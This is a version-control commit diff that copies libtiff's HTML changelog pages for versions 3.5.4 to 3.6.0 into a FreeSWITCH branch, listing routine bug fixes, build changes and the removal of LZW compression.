+	<LI>  HTML-ized the man pages, added to html/man
+	
+	<LI>  Removed LZW Compression to comply with Unisys patent extortion. 
+
+	<LI>  Corrected one remaining 16 -> 32 bit value in tif_fax3.c, 
+	   From Ivo Penzar <ivo.penzar@infolink-software.com. 
+
+	<LI>  Added patch from Ivo Penzar to have TiffAdvanceDirectory handle
+	   memory mapped files. <ivo.penzar@infolink-software.com>
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+	<LI> Fixed apocalypse-inducing y2k bug in contrib/ras/ras2tiff.c 
+</UL>
+
+<A HREF="index.html"><IMG SRC="images/back.gif"></A> TIFF home page.<BR>
+
+<HR>
+
+Last updated $Date: 2004/11/26 14:37:20 $.
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.4.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.4.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.5.4.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.4.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.4.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,88 @@
+<HTML>
+<HEAD>
+<TITLE>
+Changes in TIFF v3.5.4
+</TITLE>
+</HEAD>
+
+<BODY BGCOLOR=white>
+<FONT FACE="Helvetica, Arial, Sans">
+<FONT FACE="Helvetica, Arial, Sans"> 
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.5.4<BR>
+<B>Previous Version</B>: <A HREF=v3.5.3.html>v3.5.3</a><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.onshore.com/pub/libtiff">ftp.onshore.com</a>, directory pub/libtiff</A><BR>
+<B>Master HTTP Site</B>: <A HREF="http://www.remotesensing.org/libtiff/">http://www.remotesensing.org/libtiff</a> 
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+</UL>
+<p> 
+<P><HR WIDTH=65% ALIGN=left>
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+	<LI> None
+
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+
+<UL> 
+
+	<li> Added Pixar tag support.  Contributed by Phil Beffery <phil@pixar.com> 
+
+	<li>  Made one more change to tif_dir.c for removal of LZW compression. Also added notice 
+	  when LZW compression invoked. 
+
+        <li> Fixed bug that caused LZW (non) compression to segfault. Added 
+	  warning about LZW compression removed being removed, and why. 
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+	<li> Changed default compression in tools to TIFF_PACKBITS, and changed usage descriptions
+	  in tools to reflect removal of LZW compression
+	
+	<li> Added nostrip to install in tools/Makefile.in so that debugging 
+	  symbols are kept. 
+	
+ 	<li> Made Packbits the default compression in tools/tiff2rgba.c instead
+	of LZW.
+
+
+</UL>
+
+<A HREF="index.html"><IMG SRC="images/back.gif"></A> TIFF home page.<BR>
+
+<HR>
+
+Last updated $Date: 2006/01/03 01:45:41 $.
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.5.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.5.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.5.5.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.5.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.5.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,155 @@
+<HTML>
+<HEAD>
+<TITLE>
+Changes in TIFF v3.5.5
+</TITLE>
+</HEAD>
+
+<BODY BGCOLOR=white>
+<FONT FACE="Helvetica, Arial, Sans">
+<FONT FACE="Helvetica, Arial, Sans"> 
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.5.5<BR>
+<B>Previous Version</B>: <A HREF=v3.5.4.html>v3.5.4</a><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.onshore.com/pub/libtiff">ftp.onshore.com</a>, directory pub/libtiff</A><BR>
+<B>Master HTTP Site</B>: <A HREF="http://www.remotesensing.org/libtiff/">http://www.remotesensing.org/libtiff</a> 
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+<LI><A HREF="#lzwkit">Changes in the LZW compression kit</A>
+</UL>
+<p> 
+<P><HR WIDTH=65% ALIGN=left>
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+
+        <LI> configure: added test for libc6 for linux targets.  Bug reported by 
+        Stanislav Brabec <utx@k332.feld.cvut.cz>
+
+         <LI>	configure: fixed bugs in sed scripts 
+	(applied sed script s:/@:s;@:;s:/s;;:;: to configure). 
+	fix submitted by Stanislav Brabec <utx@k332.feld.cvut.cz>
+
+	<LI> tools/iptcutil was not in files list, and wasn't being 
+	added to tar archive.  Updated Makefile.in.
+
+        <LI>  Added 3.5 docs to html/Makefile.in.  
+	Thanks to  Stanislav Brabec <utx@k332.feld.cvut.cz>
+
+        <LI> Fixed tools/tiffcmp so that stopondiff testing works.
+	     Patch care of Joseph Orost <joe@sanskrit.lz.att.com>.
+
+        <LI> Added fax3sm_winnt.c to distribution list in Makefile.in. 
+
+         <LI> Added libtiff/libtiff.def to TIFFILES distribution list.
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+
+<UL> 
+        <LI>tif_fax3.c: Fixed serious bug introduced during the uint16->uint32 
+        conversion for the run arrays.  
+
+	<LI> Set td_sampleformat default to SAMPLEFORMAT_UINT instead of 
+	SAMPLEFORMAT_VOID in TIFFDefaultDirectory() in tif_dir.c.
+
+        <LI> Added "GetDefaulted" support for TIFFTAG_SAMPLEFORMAT in tif_aux.c.
+
+	<LI> Patched tif_fax3.c so that dsp->runs is allocated a bit bigger
+	to avoid overruns encountered with frle_bug.tif.
+
+        
+	<LI> Modified tif_unix.c to support 2-4GB seeks if USE_64BIT_API is
+	  set to 1, and added default (off) setting in tiffconf.h.  This
+	  should eventually be set by the configure script somehow.
+
+	  The original work on all these 2-4GB changes was done by 
+	  Peter Smith (psmith@creo.com).
+
+	<LI> Modified tif_win32.c to support 2-4GB seeks.
+
+	<LI> tentatively changed toff_t to be unsigned instead of signed to
+	  facilitate support for 2-4GB files. 
+
+	<LI>  Updated a variety of files to use toff_t.  Fixed some mixups
+	      between toff_t and tsize_t.
+
+	<LI> Set tif_rawdatasize to zero when freeing raw data buffer in
+	     TIFFWriteDirectory().
+
+         <LI> Enabled "REWRITE_HACK" in tif_write.c by default.
+        
+         <LI> Fix bug in tif_write.c when switching between reading one directory
+	      and writing to another. 
+
+         <LI> Made TIFFWriteCheck() public, and added TIFFCreateDirectory()
+
+         <LI> Added TIFFmemory(3t) functions to libtiff.def.
+
+         <LI> Added libtiff/libtiff.def to TIFFILES distribution list.
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+	<LI> fax2ps: Fixed mixup of width and height in bounding box statement
+	as per submission by Nalin Dahyabhai <nalin@redhat.com>.
+
+	<LI> fax2ps:  Modified printruns to take uint32 instead of uint16.  
+	Patch courtesy of Bernt Herd <herd@herdsoft.com> 
+
+
+	<LI> Largely reimplemented contrib/addtiffo to avoid temp files, 
+ 	    updating the TIFF file in place.  Fixed a few other bugs to.
+
+       <LI> Altered descriptions in tools to reflect "by default" lzw not supported
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<A NAME="lzwkit"><B><FONT SIZE=+3>C</FONT>HANGES IN THE LZW COMPRESSION KIT</B></A>
+<UL> 
+	<LI>created mangle-src.sh -- sed scripts to munge src into LZW enabled format. Thanks to Stanislav Brabec <utx@k332.feld.cvut.cz>
+	
+	<LI>created Makefile
+	
+	<LI>merged  tif_dir.c with current source. 
+
+
+	<LI>  Created lzw compression kit, as a new CVS module (libtiff-lzw-compression-kit). 
+
+	<LI>  Updated index.html to note lzw compression kit. 
+
+</UL>
+
+<A HREF="index.html"><IMG SRC="images/back.gif"></A> TIFF home page.<BR>
+
+<HR>
+
+Last updated $Date: 2004/11/26 14:37:20 $.
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.6-beta.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.6-beta.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.5.6-beta.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.6-beta.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.6-beta.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,185 @@
+<HTML>
+<HEAD>
+<TITLE>
+Changes in TIFF v3.5.6
+</TITLE>
+</HEAD>
+
+<BODY BGCOLOR=white>
+<FONT FACE="Helvetica, Arial, Sans">
+<FONT FACE="Helvetica, Arial, Sans"> 
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.5.6beta<BR>
+<B>Previous Version</B>: <A HREF=v3.5.5.html>v3.5.5</a><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.onshore.com/pub/libtiff">ftp.onshore.com</a>, directory pub/libtiff</A><BR>
+<B>Master HTTP Site</B>: <A HREF="http://www.remotesensing.org/libtiff/">http://www.remotesensing.org/libtiff</a> 
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+<LI><A HREF="#contrib">Changes in contrib</A>
+<LI><A HREF="#lzwkit">Changes in the LZW compression kit</A>
+</UL>
+<p> 
+<P><HR WIDTH=65% ALIGN=left>
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+
+	<LI> Added GNULDdso target and switched linux and freebsd to use it. 
+	<LI> tools/Makefile.in: Modified to install properly on SGI.
+	<LI> configure: Fixed DSO test for Linux as per patch from
+	  Jan Van Buggenhout <chipzz@Ace.ULYSSIS.Student.KULeuven.Ac.Be>.
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+
+<UL> 
+
+	<LI> tif_dir.c: Clear TIFF_ISTILED flag in TIFFDefaultDirectory
+	as per http://bugzilla.remotesensing.org/show_bug.cgi?id=18
+	from vandrove@vc.cvut.cz.
+
+	<LI> Modified tif_packbits.c decoding to avoid overrunning the
+	output buffer, and to issue a warning if data needs to be
+	discarded.  See http://bugzilla.remotesensing.org/show_bug.cgi?id=18
+
+	<LI> Modified TIFFClientOpen() to emit an error on an attempt to
+	open a comperessed file for update (O_RDWR/r+) access.  This is
+	because the compressor/decompressor code gets very confused when
+	the mode is O_RDWR, assuming this means writing only.  See
+	bug http://bugzilla.remotesensing.org/show_bug.cgi?id=13
+
+	<LI> Applied patch for 0x0000 sequences in tif_fax3.h's definition
+	of EXPAND1D() as per bug 11 (from Roman). 
+
+	<LI> Fixed tiffcomp.h to avoid win32 stuff if unix #defined, to improve
+	cygwin compatibility.
+
+	<LI> Applied patch from Roman Shpount to tif_fax3.c.  This seems to
+	be a proper fix to the buffer sizing problem.  See 
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=11
+
+	<LI> Fixed tif_getimage.c to fix overrun bug with YCbCr images without
+	downsampling.  http://bugzilla.remotesensing.org/show_bug.cgi?id=10
+	Thanks to Nick Lamb <njl98r@ecs.soton.ac.uk> for reporting the
+	bug and proving the patch.
+	
+	<LI> Fixed tif_jpeg.c so avoid destroying the decompressor before
+	we are done access data thanks to bug report from:
+	Michael Eckstein <eckstein@gepro.cz>.
+
+	<LI> tif_open.c: Don't set MMAP for O_RDWR files.
+
+	<LI> tif_open.c: Set STRIPCHOP_DEFAULT for O_RDWR as well as O_RDONLY
+	so that files opened for update can be strip chopped too.
+
+	<LI> tif_read.c: fixed up bug with files missing rowsperstrip and
+	the strips per separation fix done a few weeks ago.
+
+	<LI> Tentatively added support for SAMPLEFORMAT_COMPLEXIEEEFP, and
+	SAMPLEFORMAT_COMPLEXINT.
+
+	<LI> index.html, bugs.html: added bugzilla info. 
+
+	<LI> tif_read.c: fix subtle bug with determining the number of
+	rows for strips that are the last strip in a separation but
+	not the last strip of all in TIFFReadEncodedStrip().  
+
+	<LI> Applied 16/32 bit fix to tif_fax3.c.  Fix supplied by
+	Peter Skarpetis <peters@serendipity-software.com.au>
+
+	<LI> Modified tiffio.h logic with regard to including windows.h.  It
+	won't include it when building with __CYGWIN__.
+
+	<LI> README: update to mention www.libtiff.org, don't list Sam's old
+	email address.
+
+	<LI> libtiff/tif_dirread.c: Don't use estimate strip byte count for
+	one tile/strip images with an offset, and byte count of zero. These
+	could be "unpopulated" images. 
+
+	<LI> tif_win32.c:  Applied patch to fix overreads and ovverwrites
+	  caught by BoundsChecker.  From Arvan Pritchard 
+	  <arvan.pritchard@infomatix.co.uk>  (untested). 
+	
+        <LI> tif_getimage.c:  Applied patch to silence VC6 warnings.  From 
+	  Arvan Pritchard <arvan.pritchard@informatix.co.uk>
+	
+	<LI> tif_lzw.c:  Applied patch to silence VC6 warnings.  From 
+	  Arvan Pritchard <arvan.pritchard@informatix.co.uk>
+
+	<LI> libtiff/tif_apple.c: Applied "Carbon" support patches supplied by
+	Leonard Rosenthol <leonardr@lazerware.com>.  May interfere
+	with correct building on older systems.  If so, please let me know.
+
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+
+	<LI> tools/rgb2ycbcr.c: fixed output strip size to account for vertical 
+	roundup if rows_per_strip not a multiple of vertical sample size.
+
+	<LI> tools/tiffsplit.c: Copy TIFFTAG_SAMPLEFORMAT.
+
+	<LI>  Modified tiff2bw to ensure portions add to 100%, and that
+	 white is properly recovered.  See bug
+	 http://bugzilla.remotesensing.org/show_bug.cgi?id=15 Patch
+	 c/o Stanislav Brabec <utx@penguin.cz>
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<A NAME="contrib"><B><FONT SIZE=+3>C</FONT>HANGES IN CONTRIB:</B></A>
+
+<UL>
+
+	<LI> contrib/addtiffo: Added "averaging" resampling option.
+
+	<LI> Added contrib/stream (stream io) code submitted by Avi Bleiweiss.
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<A NAME="lzwkit"><B><FONT SIZE=+3>C</FONT>HANGES IN THE LZW COMPRESSION KIT</B></A>
+<UL> 
+
+    <LI> updated tif_dir.c to reflect changes to no-lzw tif_dir.c
+
+</UL>
+
+<A HREF="index.html"><IMG SRC="images/back.gif"></A> TIFF home page.<BR>
+
+<HR>
+
+Last updated $Date: 2006/03/18 17:12:47 $.
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.7.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.7.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.5.7.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.7.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.5.7.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,259 @@
+<HTML>
+<HEAD>
+<TITLE>
+Changes in TIFF v3.5.7
+</TITLE>
+</HEAD>
+
+<BODY BGCOLOR=white>
+<FONT FACE="Helvetica, Arial, Sans">
+<FONT FACE="Helvetica, Arial, Sans"> 
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.5.7<BR>
+<B>Previous Version</B>: <A HREF=v3.5.6-beta.html>v3.5.6 Beta</a><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.remotesensing.org/pub/libtiff">ftp.remotesensing.org</a>, directory pub/libtiff</A><BR>
+<B>Master HTTP Site</B>: <A HREF="http://www.remotesensing.org/libtiff/">http://www.remotesensing.org/libtiff</a> 
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#configure">Changes in the software configuration</A>
+<LI><A HREF="#libtiff">Changes in libtiff</A>
+<LI><A HREF="#tools">Changes in the tools</A>
+<LI><A HREF="#lzwkit">Changes in the LZW compression kit</A>
+</UL>
+<p> 
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="configure"><B><FONT SIZE=+3>C</FONT>HANGES IN THE SOFTWARE CONFIGURATION:</B></A>
+
+<UL>
+<li> libtiff/libtiff.def: Brent Roman submitted new version adding
+serveral missing entry points.  Also add a few other entry points 
+later.
+
+<li> configure, Makefile.in, etc: added support for OPTIMIZER being
+	set from config.site. 
+<li> config.guess: updated wholesale to an FSF version apparently 
+	from 1998 (as opposed to 1994).  This is mainly inspired by 
+	providing for MacOS X support.
+
+<li> configure/config.site: modified to check if -lm is needed for
+	MACHDEPLIBS if not supplied by config.site.  Needed for Darwin.
+<li> libtiff/tiff.h: Applied hac to try and resolve the problem
+	with the inttypes.h include file on AIX. (Bug 39)
+
+<li> configure, *Makefile.in: Various changes to improve configuration
+	for HP/UX specifically, and also in general.  (Bug 40) They include:
+<ul>
+ <li> Try to handle /usr/bin/sh instead of /bin/sh where necessary.
+ <li> Upgrade to HP/UX 10.x+ compiler, linker and dso options.
+ <li> Fixed mmap() test to avoid MMAP_FIXED ... it isn't available on HP
+ <li> Use -${MAKEFLAGS} in sub makes from makefiles.
+ <li> Fixed SCRIPT_SH/SHELL handling.
+</ul>
+<li> configure: Changes for DSO generation on AIX provided by
+	John Marquart <jomarqua@indiana.edu>.
+
+<li> configure, libtiff/Makefile.in: Modified to build DSOs properly
+	on Darwin thanks to Robert Krajewski (rpk@alum.mit.edu) and
+	Keisuke Fujii (fujiik@jlcuxf.kek.jp).
+
+<li> configure, libtiff/Makefile.in: applied OpenBSD patches as per bug 61.
+
+<li> Makefile.in: added DESTDIR support as per bug 60.
+
+<li> libtiff/tif_jpeg.c: Define HAVE_BOOLEAN on windows if RPCNDR.H 
+	has been included.
+<li> man/Makefile.in: add TIFFClientOpen link as per debian submitted
+	bug 66.
+<li> libtiff/Makefile.in: Fixed @DSOSUB_VERSION to be @DSOSUF_VERSION@
+	in two places.
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="libtiff"><B><FONT SIZE=+3>C</FONT>HANGES IN LIBTIFF:</B></A>
+
+
+<UL> 
+<li> tif_fax3.c: keep rw_mode flag internal to fax3 state to remember
+	whether we are encoding or decoding.  This is to ensure graceful 
+	recovery if TIFFClientOpen() discovers an attempt to open a compressed
+	file for "r+" access, and subsequently close it, as it resets the 
+	tif_mode flag to O_RDONLY in this case to avoid writes, confusing the
+	compressor's concept of whether it is in encode or decode mode.
+<li> tif_luv.c/tiff.h/tiffio.h: 
+	New version of TIFF LogLuv (SGILOG) modules contributed by Greg Ward 
+	(greg@shutterfly.com).  He writes:
+
+<ol>
+	<li> I improved the gamut-mapping function in tif_luv.c for imaginary
+	colors, because some images were being super-saturated on the input 
+	side and this resulted in some strange color shifts in the output.
+
+	<li> I added a psuedotag in tiff.h to control random dithering during
+	LogLuv encoding.  This is turned off by default for 32-bit LogLuv and 
+	on for 24-bit LogLuv output.  Dithering improves the average color 
+	accuracy over the image.
+
+	<li> I added a #define for LOG_LUV_PUBLIC, which is enabled by default in
+	tiffio.h, to expose internal routines for converting between LogLuv and
+	XYZ coordinates.  This is helpful for writing more efficient,
+	specialized conversion routines, especially for reading LogLuv files.
+</ol>
+
+<li> libtiff/tif_dirinfo.c: don't declare tiffFieldInfo static on VMS.
+
+<li> Added TIFFTAG_COPYRIGHT support.
+<li> tif_getimage.c: Added support for 16bit minisblack/miniswhite 
+	images in RGBA interface.
+<li> libtiff/tif_dirinfo.c: removed duplicate TIFFTAG_PHOTOSHOP as per
+	bug 44.
+<li> libtiff/tif_dirwrite.c: Added support for TIFF_VARIABLE2 in the
+	case of writing TIFF_BYTE/TIFF_SBYTE fields as per bug 43.
+
+<li> libtiff/tif_dirinfo.c: Modified the TIFF_BYTE definition for
+	TIFFTAG_PHOTOSHOP to use a writecount of TIFF_VARIABLE2 (-3) to
+	force use of uint32 counts instead of short counts. 
+
+<li> libtiff/tif_dirinfo.c: moved pixar and copyright flags to 
+	ensure everything is in order.
+
+<li> Integrated experimental OJPEG support from Scott Marovich of HP.  
+
+<li> libtiff/tif_open.c: Seek back to zero after failed read,
+	before writing header.
+
+<li> libtiff/tiff.h, libtiff/tif_fax3.c: added check for __LP64__ 
+	when checking for 64 bit architectures as per bugzilla bug 67.
+<li> libtiff/tif_getimage.c: Use memmove() instead of TIFFmemcpy()
+	in TIFFReadRGBATile() to avoid issues in cases of overlapping
+	buffers.  See Bug 69 in Bugzilla. 
+<li> libtiff/tif_getimage.c: Don't complain for CMYK (separated)
+	images with more than four samples per pixel as per bug 73.
+
+<li> libtiff/tif_getimage.c: relax handling of contig case where
+there are extra samples that are supposed to be ignored as per bug 75.  This
+should now work for 8bit greyscale or palletted images.  
+
+<li> libtiff/tif_packbits.c: fixed memory overrun error as per bug 77.
+
+<li> libtiff/tif_getimage.c: Fixed problem with reading strips or
+tiles that don't start on a tile boundary.  Fix contributed by
+Josep Vallverdu (from HP), and further described in bug 47.
+
+<li> libtif/tif_fax3.c: Removed #ifdef PURIFY logic, and modified to
+	always use the "safe" version, even if there is a very slight
+	cost in performance as per bug 54.
+<li> libtiff/tif_lzw.c: added dummy LZWSetupEncode() to report an
+	error about LZW not being available.
+
+<li> libtiff/tif_dir.c: propagate failure to initialize compression
+	back from TIFFSetField() as an error status, so applications can 
+	detect failure.
+
+<li> libtiff/tif_lzw.c: Avoid MS VC++ 5.0 optimization bug as per bug 78.
+
+<li> libtiff/tif_dirwrite.c: added TIFFRewriteDirectory() function.
+Updated TIFFWriteDirectory man page to include TIFFRewriteDirectory.
+
+<li> libtiff/tiff.h: I have created COMPRESSION_CCITT_T4, 
+	COMPRESSION_CCITT_T6, TIFFTAG_T4OPTIONS and TIFFTAG_T6OPTIONS aliases 
+	in keeping with TIFF 6.0 standard in tiff.h as per bug 83.
+
+<li> Added PHOTOMETRIC_ITULAB as per bug 90.
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!-------------------------------------------------------------------------->
+
+<A NAME="tools"><B><FONT SIZE=+3>C</FONT>HANGES IN THE TOOLS:</B></A>
+
+<UL>
+<li> Brent Roman contributed updated tiffcp utility (and tiffcp.1)
+	with support for extracting subimages with the ,n syntax, and also
+	adding the -b bias removal flag. 
+<li> tiff2ps.c/tiff2ps.1: Substantial changes to tiff2ps by
+	Bruce A. Mallett, including a faster encoder, fixes for level
+	2 PostScript, and support for the imagemask operator.
+<li> fax2ps.c: Helge (libtiff at oldach.net) submitted fix
+that corrects behaviour for non-Letter paper
+sizes. (Bug 35) It fixes two problems:
+<br>
+	Without	scaling (-S) the fax is now centered on the page size specified
+	with -H	and/or -W. Before, fax2ps was using an obscure and practially
+	useless algorithm to allocate the image relative to Letter sized paper
+	which sometime sled to useless whitespace on the paper, while at the
+	same time cutting of the faxes printable area at the opposite border.
+<br>
+
+	Second, scaling now preserves aspect ratio, which makes unusual faxes
+	(in particular short ones) print properly.
+
+<li> thumbnail.c: changed default output compression
+	to packbits from LZW since LZW isn't generally available.
+<li> tiff2rgba.c: added -n flag to avoid emitting alpha component. Also added
+a man page for tiff2rgba.
+
+<li> tiffcmp.c: Fixed multi samples per pixel support for ContigCompare
+as per bug 53.
+Updated bug section of tiffcmp.1 to note tiled file issues.
+
+<li> libtiff/tif_getimage.c: Fixed so that failure is properly
+	reported by gtTileContig, gtStripContig, gtTileSeparate and 
+	gtStripSeparate as per bug 51.
+
+
+</UL>
+
+<P><HR WIDTH=65% ALIGN=left>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="lzwkit"><B><FONT SIZE=+3>C</FONT>HANGES IN THE LZW COMPRESSION KIT:</B></A>
+<UL> 
+	<LI> Rewrote lzw patching process so that is required to enable full
+	LZW support is to drop the tif_lzw.c from the 
+	libtiff-lzw-compression-kit over the one in the libtiff directory. 
+
+	<LI> Some changes were made to make recovery from failure to
+	initialize the LZW compressor more graceful.
+
+	<LI> Note that as distributed libtiff support LZW decompression, but
+        not LZW compression. 
+</UL>
+
+<!--------------------------------------------------------------------------->
+
+<A NAME="contrib"><B><FONT SIZE=+3>C</FONT>HANGES IN THE CONTRIB AREA:</B></A>
+<UL> 
+<li> Fixed distribution to include contrib/addtiffo/tif_ovrcache.{c,h}.
+</UL>
+
+<A HREF="index.html"><IMG SRC="images/back.gif"></A> TIFF home page.<BR>
+
+<HR>
+
+Last updated $Date: 2004/11/26 14:37:20 $.
+
+</BODY>
+</HTML>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.6.0.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.6.0.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/v3.6.0.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.6.0.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/v3.6.0.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,434 @@
+<HTML>
+<HEAD>
+<TITLE>
+Changes in TIFF v3.6.0
+</TITLE>
+</HEAD>
+
+<BODY BGCOLOR=white>
+<FONT FACE="Helvetica, Arial, Sans">
+<FONT FACE="Helvetica, Arial, Sans"> 
+
+<BASEFONT SIZE=4>
+<B><FONT SIZE=+3>T</FONT>IFF <FONT SIZE=+2>C</FONT>HANGE <FONT SIZE=+2>I</FONT>NFORMATION</B>
+<BASEFONT SIZE=3>
+
+<UL>
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+<B>Current Version</B>: v3.6.0<BR>
+<B>Previous Version</B>: <A HREF=v3.5.7.html>v3.5.7</a><BR>
+<B>Master FTP Site</B>: <A HREF="ftp://ftp.remotesensing.org/pub/libtiff">
+ftp.remotesensing.org</a>, directory pub/libtiff</A><BR>
+<B>Master HTTP Site</B>: <A HREF="http://www.remotesensing.org/libtiff">
+http://www.remotesensing.org/libtiff</a> 
+<HR SIZE=4 WIDTH=65% ALIGN=left>
+</UL>
+
+<P>
+This document describes the changes made to the software between the
+<I>previous</I> and <I>current</I> versions (see above).
+If you don't find something listed here, then it was not done in this
+timeframe, or it was not considered important enough to be mentioned.
+The following information is located here:
+<UL>
+<LI><A HREF="#hightlights">Major Changes</A>
+<LI><A HREF="#configure">Changes in the software configuration</A>
